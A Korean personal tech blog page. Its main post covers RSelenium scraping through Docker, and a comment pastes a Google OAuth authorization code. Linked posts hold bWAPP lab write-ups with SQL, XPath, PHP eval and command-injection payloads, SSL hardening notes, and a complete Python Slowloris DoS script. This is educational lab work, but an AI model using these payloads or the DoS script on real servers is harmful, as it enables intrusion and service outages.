메뉴 건너뛰기

imp

[R] 도커를 이용한 가상 크롬으로 우분투에서 RSelenium 사용

suritam92019.04.05 23:24조회 수 1050댓글 2

    • 글자 크기

윈도우에서만 가능할 것으로 여겨졌던 크롤링이 우분투를 이용해서 가능하다.

 

https://lareale.tistory.com/292

 

위를 참조하여 도커에 크롬이 설치된 컨테이너 서버를 설치하고, 실행시킨다.

 

   13  wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - $ sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'

   14  wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -

   15  sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'

   16  ls

   17  sudo apt-get update

   18  sudo apt-get install google-chrome-stable

   19  wget -N http://chromedriver.storage.googleapis.com/2.10/chromedriver_linux64.zip -P ~/Downloads

   21  sudo apt-get install unzip

   22  unzip ~/Downloads/chromedriver_linux64.zip

   59  sudo ln -s /usr/local/share/chromedriver /usr/local/bin/chromedriver

   60  sudo ln -s /usr/local/share/chromedriver /usr/bin/chromedriver

   68  sudo apt-get install libcurl

   69  sudo apt-get install libcurl4-openssl-dev

   70  sudo apt-get install libssl-dev

   71  sudo apt-get install libxml2-dev

   72  sudo apt-get install xml2

   73  sudo R

   74  sudo echo "deb http://cran.rstudio.com/bin/linux/ubuntu xenial/" | sudo tee -a /etc/apt/sources.list

   75  gpg --keyserver keyserver.ubuntu.com --recv-key E084DAB9

   76  gpg -a --export E084DAB9 | sudo apt-key add -

   77  sudo apt-get update

   78  sudo apt-get install r-base r-base-dev

   79  R --version

 

$ sudo docker run -p 4445:4444 selenium/standalone-chrome &

 

 

아래 소스는 아직 테스트하지 못했고, aws t2.micro 에서 안된다.

(용량 문제로 dplyr 패키지를 설치할 수 없다.)

https://hjpco.wordpress.com/2017/05/31/aws-r%EC%97%90-devtools-package-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0/

 

테스트 한 것은 cvs로 만드는 소스가 테스트 되었고, 최신순 선택은 실패했다.

 

MS 윈도우 서버가 정지되는 바람에 시도하게 되었는데, 결국 성공하지 못하여 아래 소스를 위해 되살렸다.(정지된 구독을 종량제로 전환하기 위해 영어로 통화를 26분이나 하였다. T.T)

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

library(googlesheets)

library(tidyverse)

 

ch=wdman::chrome(port=4445L) #크롬드라이버를 포트

remDr <- remoteDriver(remoteServerAddr = "localhost", port = 4445L, browserName = "chrome")

remDr$open() #크롬 Open

remDr$navigate("https://play.google.com/store/apps/details?id=패키지명&showAllReviews=true&hl=ko") #설정 URL로 이동(한국 스토어 기준으로 하려면 반드시 &hl=ko를 해야한다. 그렇지 않으면 &hl=en 으로 기본 설정되어 서버 IP에 해당하는 국가 리뷰가 나온다)

 

    webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div[1]/div/div[1]/div[2]/span")

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #정렬 방법 리스트 확장

    remDr$click()

  Sys.sleep(10)

 

    webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div[1]/div/div[2]/div[1]")

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #최신순 선택

    remDr$click()

  Sys.sleep(10)

 

 

frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments)

 

df_new <- gs_new(title = "패키지명", 

                 input = reviewData, 

                 trim = TRUE)

 

remDr$close()

    • 글자 크기

댓글 달기

댓글 2
  • suritam9글쓴이
    2019.4.9 15:37 댓글추천 0비추천 0

    [centos]

    # vi /etc/yum.repos.d/google-chrome.repo

    [google-chrome]

    name=google-chrome

    baseurl=http://dl.google.com/linux/chrome/rpm/stable/x86_64

    enabled=1

    gpgcheck=1

    gpgkey=https://dl-ssl.google.com/linux/linux_signing_key.pub

    google-chrome-stable

    # wget -N http://chromedriver.storage.googleapis.com/2.10/chromedriver_linux64.zip -P ~/

    # unzip chromedriver_linux64.zip

    # mv chromedriver /usr/local/share/

    # ln -s /usr/local/share/chromedriver /usr/local/bin/chromedriver

    # ln -s /usr/local/share/chromedriver /usr/bin/chromedriver

    # yum install R

     

    yum -y groupinstall "X Window System" "Desktop" "Fonts" "General Purpose Desktop"

    install.packages("googlesheets")

    install.packages("tidyverse")

     

    # curl -fsSL https://get.docker.com/ | sudo sh

    # systemctl enable docker.service

    # systemctl start docker.service

    # docker pull selenium/standalone-chrome

    # docker run -p 4445:4444 selenium/standalone-chrome &

  • suritam9글쓴이
    2019.4.9 16:30 댓글추천 0비추천 0

    패키지 설치가 이상 없을 경우 구글 인증은 아래와 같이 진행된다.

     

    > library(googlesheets)

    > library(tidyverse)

    ── Attaching packages ─────────────────────────────────────── tidyverse 1.2.1 ──

    ✔ ggplot2 3.1.1 ✔ readr 1.3.1

    ✔ tibble 2.1.1 ✔ purrr 0.3.2

    ✔ tidyr 0.8.3 ✔ dplyr 0.8.0.1

    ✔ ggplot2 3.1.1 ✔ forcats 0.4.0

    ── Conflicts ────────────────────────────────────────── tidyverse_conflicts() ──

    ✖ dplyr::filter() masks stats::filter()

    ✖ readr::guess_encoding() masks rvest::guess_encoding()

    ✖ dplyr::lag() masks stats::lag()

    ✖ purrr::pluck() masks rvest::pluck()

    > gs_auth(new_user = TRUE)

    No token currently in force.

    Adding .httr-oauth to .gitignore

    httpuv not installed, defaulting to out-of-band authentication

    Enter authorization code: START /usr/bin/google-chrome-stable "https://accounts.google.com/o/oauth2/auth?client_id=178989665258-f4scmimctv2o96isfppehg1qesrpvjro.apps.googleusercontent.com&scope=https%3A%2F%2Fspreadsheets.google.com%2Ffeeds%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fdrive&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code" <- 브라우저에 입력할 경로

    4/JwE5OHVzRjRxLCVEzHp_S71xOznZF65AhWxiY5L3h-ws18JNQBpieZ0 <- 입력한 코드

    >

     

    위의 코드를 웹브라우저에 입력하여 코드를 붙여 넣는다.

[bWAPP] CSRF (Change Password)

[원문보기]

A8 - Cross Site Request Forgery

CSRF (Change Password)


패스워드 변경 경로를 삽입하여 타 계정으로 로그인한 사용자의 비밀번호를 변경한다.


이체 경로를 삽입하여 상대방 계좌의 금액을 차감 한다.


A8CSRF-PSWD.PNG


A8CSRF-AMT.PNG

[bWAPP] XML/XPath Injection (Login Form)

[원문보기]

A1 - Injection

XML/XPath Injection (Login Form)



로그인 ID, PW 에 ' or '1'='1 을 넣으면 된다.


A1-XPATH-LOG.PNG


selene, Thor, johnny, wolverine, alice

wolverine' or 'a'='a--

[bWAPP] Insecure DOR (Change Secret/Reset Secret)

[원문보기]

A4 - Insecure Direct Object References

Insecure DOR (Change Secret)


POST 파라미터로 전송되는 login 값을 수정한다.


XML 에 포함된 login 값을 수정한다.


A4DOR-SEC.PNG

[bWAPP] Insecure DOR (Order Tickets)

[원문보기]

A4 - Insecure Direct Object References

Insecure DOR (Order Tickets)


hidden 필드의 15eur을 변조하여 시도한다.


medium level에서는 post 파라미터에 ticket_price를 추가한다.

[bWAPP] Session Mgmt. - Administrative Portals

[원문보기]

A2 - Broken Auth. & Session Mgmt.

Session Mgmt. - Administrative Portals



admin 파라미터에 1을 넣으면 성공 메시지가 나온다.




[bWAPP] XSS - Reflected (User-Agent)

[원문보기]

A3 - Cross Site Scripting

XSS - Reflected (User-Agent)


header 값 중 user-agent에 스크립트를 삽입하여 전송하는 예제이다.


A3XSS-UA.PNG

[bWAPP] SQL Injection (GET[POST]/Select)

[원문보기]

A1 - Injection

SQL Injection (GET/Select)




A1SQL2.PNG


movie=0+union select schema(),version(),user(),database(),SESSION_USER(),schema(),1--+-&action=go



GET[POST]/SEARCH 는 ' 로 되어 single quote 를 쓸 수가 없다. 동영상에는 그대로 되는데, 환경 탓 인가...


우분투에서는 되는군.

[bWAPP] Server-Side Includes (SSI) Injection

[원문보기]

A1 - Injection

Server-Side Includes (SSI) Injection


LoadModule 을 지원하는 환경에서 가능하다


입력 필드에 <!--#echo var="DOCUMENT_ROOT" --> 를 넣었을 때, 아래와 같이 나오면 LoadModule이 지원 안되는 것이다.

실행 자체가 안 되니 의미가 없다.

<p>Hello 11<!--#echo Var="DOCUMENT_ROOT" --> 11,</p><p>Your IP address is:</p><h1><!--#echo var="REMOTE_ADDR" --></h1>

http://lispro06.woweb.net/infra/51326 참고

* 그동안 cgi 로 혼동했다. T.T;;

[bWAPP] PHP Code Injection

[원문보기]

A1 - Injection

PHP Code Injection


해당 소스는 eval 로 되어 있다.


php 함수를 모두 사용 가능하다.


<p><i><?php @eval ("echo " .$_REQUEST["message"] . ";");?></i></p>



A1PHP.PNG

[bWAPP] OS Command Injection [blind]

[원문보기]

A1 - Injection

OS Command Injection


동영상에서는 ; 등으로 테스트 하는데, windows 서버라 | (pipe, vertical var)로 하면 된다.


A1OSC.PNG


blind 의 경우,


명령어 >> 1.txt


로 파일을 만들어 해당 파일을 접근할 수 있다.


ren 이나, copy 명령어를 사용해 파일을 바꾸거나 txt 확장자로 교체해 소스 확인도 가능할 듯 하다.


del은 쓰지 말자.

[bWAPP] LDAP Injection (Search)

[원문보기]

A1 - Injection

LDAP Injection (Search)


search 구문에 * 을 넣으면 모든 사용자 검색이 가능하므로 해당 문자열을 사용하지 못하도록 한다.


로그인 우회는 확인 중이다.


A1LDAP.PNG

[bAWPP] HTML Injection - Stored (Blog)

[원문보기]

A1 - Injection

HTML Injection - Stored (Blog)


XSS 저장 방식이다.


게시판에 테스트 하듯이 스크립트 구문을 바로 입력하면 된다.


A1XSS-BLG.PNG


html 인젝션은 <h1>bee</h1><h2>bug</h2> 를 넣으면 된다.

[bWAPP] HTML Injection - Reflected (URL)

[원문보기]

A1 - Injection

HTML Injection - Reflected (URL)


현재 url을 표시해주는 간단한 서버사이드 스크립트이다.


~.php?a={스크립트구문}


을 넣어주면 실행 가능하다.


A1XSS-URL.PNG


html 인젝션은 주소창 뒤에 ? 을 넣고 태그를 넣으면 된다.


?<h1>test</h1>

[bWAPP] HTML Injection - Reflected (GET/POST)

[원문보기]

A1 - Injection

HTML Injection - Reflected (GET/POST)


id, pw 필드에 스크립트 코드를 넣으면 레벨 0에서 간단히 테스트할 수 있는데, 요즘 브라우저에서는 교차스크립트 방지 필터가 동작하여 결과 확인이 어렵다.


보안설정을 아래와 같이 바꾸면 가능하다.


A1XSS-GET.PNG


XSS 가 아니고, HTML이라, HTML 태그를 넣어 테스트 해보는 내용이다.


<H1>TEST</H1>

<H2>TEST</H2>

[bWAPP] iFrame injection

[원문보기]

A1 - Injection

iFrame injection


iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250


ParamUrl 에 경로에 존재하는 파일을 넣으면 내용 확인 및 다운로드가 가능하다.


다운로드되는 파일은 portal.zip 이고, 나머지 php 파일 등은 렌더링되어 나오므로 파일 다운로드로 보기는 어렵다.


portal.bak, bugs,txt, 666 은 텍스트 형식이므로 내용 확인이 가능하다.


A1IFR.PNG


이를 소개한 동영상에서는 width, height를 바꾸거나 외부 경로 입력을 테스트 했다.

[DROWN] Decrypting RSA with Obsolete and Weakened eNcryption

[원문보기]

DROWN 취약점이란  “Decrypting RSA with Obsolete and Weakened eNcryption: 취약한 구식 암호화법을 통한 RSA 복호화”에서 따온 이름으로, SSLv2취약점을 악용한 교차 프로토콜 공격입니다.


http://blog.alyac.co.kr/554


POODLE 과 RC4 관련 취약점 들을 제거하더라도 Openssl 관련 취약점이 계속 나오고 있다.


Heartbleed 는 시작이었다.



apache2 현재 Apache/2.2.22 (Ubuntu)  OpenSSL 1.0.1 14 Mar 2012 에서 아래 옵션을 사용해 봤으나 TLSv1.1 이 잘 못 되었다는데, 해결은 추후에 해야겠다.


SSLProtocol -all +TLSv1.1 +TLSv1.2

SSLCipherSuite HIGH:!aNULL:!MD5:!SSLv2:!SSLv3:!TLSv1


RC4는 


SSLProtocol all -SSLv2 -SSLv3

SSLHonorCipherOrder on

SSLCipherSuite "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA EECDH EDH+aRSA !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS"


위와 같이 하면 된 듯 하다.


RC4.png


보안서버가 아래와 같이 무료로 사용할 수 있지만, 설정에 따라 취약할 수 있으니, 이 점에 주의해야 한다.

무료 점검 해주는 사이트들이 많아 좋기는 한데, 설정을 강화해야 하는 번거로움이 있다.


 

 

COMODO

Lets encrypt

Start SSL

금액

도메인 당 5만원 내외

무료

 무료

사용기간

2년/1년

3개월(90일)

1년(365일)

의존성

 

openssl, git, python, gcc, etc…..(자동설치)

 

발급기관

verisign, comodo, …..

Mozilla, …….. sponsored by Google, Facebook, CISCO….

StartCom

지원서버

Apache, nginx, IIS, …..

Apache, nginx, iis(unstable), ?

Apache, IIS, …..

멀티도메인

별도 지원

일반적으로 어려움

유료 지원

[POODLE] SSLv3 Disable 적용 전, 후

[원문보기]

여러 환경에서 취약성을 비교해 볼 수 있는 화면이다.


SSLv3 disable 적용 전, 후를 확실히 확인 가능하다.


https://www.digicert.com/ssl-support/iis-disabling-ssl-v3.htm


IIS의 경우 reg를 제공하므로 쉽게 적용 가능하지만, 재부팅이 필요하다.



ba.png

[Perl] RUDY, Slowloris 공격

[원문보기]

http://advent.perl.kr/2012/2012-12-17.html

 

DoS 공격 중 탐지하기 어려워 방어가 용이하지 않은 slowloris 공격이 있다.

 

해당 공격 패킷을 Perl 로 작성한 예가 있는데, 직접 테스트 해 보았다.

 

$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More

 

참조 경로에는 상기 명령어로 관련 라이브러리를 설치한다.

 

cpan 이나 필요한 것들이 있으면 더 설치한다.(OS 상황마다 다를 것이다.)

 

# ./app.pl -dns [타겟ip] -num [세션수] -timeout [유휴시간]

 

을 입력하면 문자열로 로고 비슷한 글자들이 출력되며 패킷 관련 내용이 출력된다.

 

1.jpg

 

와이어 샤크로 캡처해 보면, 새로운 세션들로(포트 번호가 증가하며) 접속 패킷이 전송된다.

 

2.jpg

 

 

웹서버에서도 netstat 로 여러 포트들이 연결되어 있는 것의 확인이 가능하다.

 

1.jpg

 

 

실제 공격은 불법이므로, 가상머신에서 테스트 해 보았다.

 

서버에서 허용된 세션 수를 초과하면 더 이상 접속되지 않는 것을 확인하였다.

 

 

[python]

import socket, random, time, sys

headers = [

    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",

    "Accept-language: en-US,en"

]

 

sockets = []

 

def setupSocket(ip):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.settimeout(4)

    sock.connect((ip, 80))

    sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))

 

    for header in headers:

        sock.send("{}\r\n".format(header).encode("utf-8"))

 

    return sock

 

if __name__ == "__main__":

    if len(sys.argv) != 2:

        print("Use it like this: python {} example.com".format(sys.argv[0]))

        sys.exit()

 

    ip = sys.argv[1]

    count = 200

    print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))

 

    for _ in range(count):

        try:

            print("Socket {}".format(_))

            sock = setupSocket(ip)

        except socket.error:

            break

 

        sockets.append(sock)

 

    while True:

        print("Connected to {} sockets. Sending headers...".format(len(sockets)))

 

        for sock in list(sockets):

            try:

                sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))

            except socket.error:

                sockets.remove(sock)

 

        for _ in range(count - len(sockets)):

            print("Re-opening closed sockets...")

            try:

                sock = setupSocket(ip)

                if sock:

                    sockets.append(sock)

            except socket.error:

                break

 

        time.sleep(15)

 

[C#] 파일명 바꾸는 프로그램

[원문보기]

경로명을 참조하여 파일명을 바꾸는 프로그램이다.


        private static string Rename(string filePath, string oldFile, string newFile)

        {

            newFile = filePath + "\" + newFile;

            System.IO.File.Move(oldFile, newFile);

            return "";

        }


rename 함수는 인터넷에서 참조했고, 디렉터리를 리커시브하게 탐색하는 코드는 msdn에서 봤다.

c:에서 확장자를 지정하거나 파일명을 지정해 하위 폴더의 파일명을 바꾼다. 같은 레벨의 파일은 바뀌지 않는다.

한번 바뀐 파일은 no file 이란 출력을 하도록 개선했다.


[C] epochtime double 형, sprintf

[원문보기]
  char tseed[100];
  CString csID;
  time_t timer;
  struct tm y2k;
  double seconds;

  y2k.tm_hour = 0;   y2k.tm_min = 0; y2k.tm_sec = 0;
  y2k.tm_year = 70; y2k.tm_mon = 1; y2k.tm_mday = 1;

  time(&timer);  /* get current time; same as: timer = time(NULL)  */

  seconds = difftime(timer,mktime(&y2k));
  sprintf( tseed, "%s%.f", csID, seconds );

csID라는 CString 형과 epoch time(unixtime)을 tseed라는 char형에 넣으려고 1970년 1월 1일 기준을 difftime으로 구해 넣었다.
time(&timer)로 나오는 값은 long형인데, 활용이 잘 되지 않아, 이렇게 되었다.
비효율적이지만, 어쩔 수 없다.
첨부 (0)
위로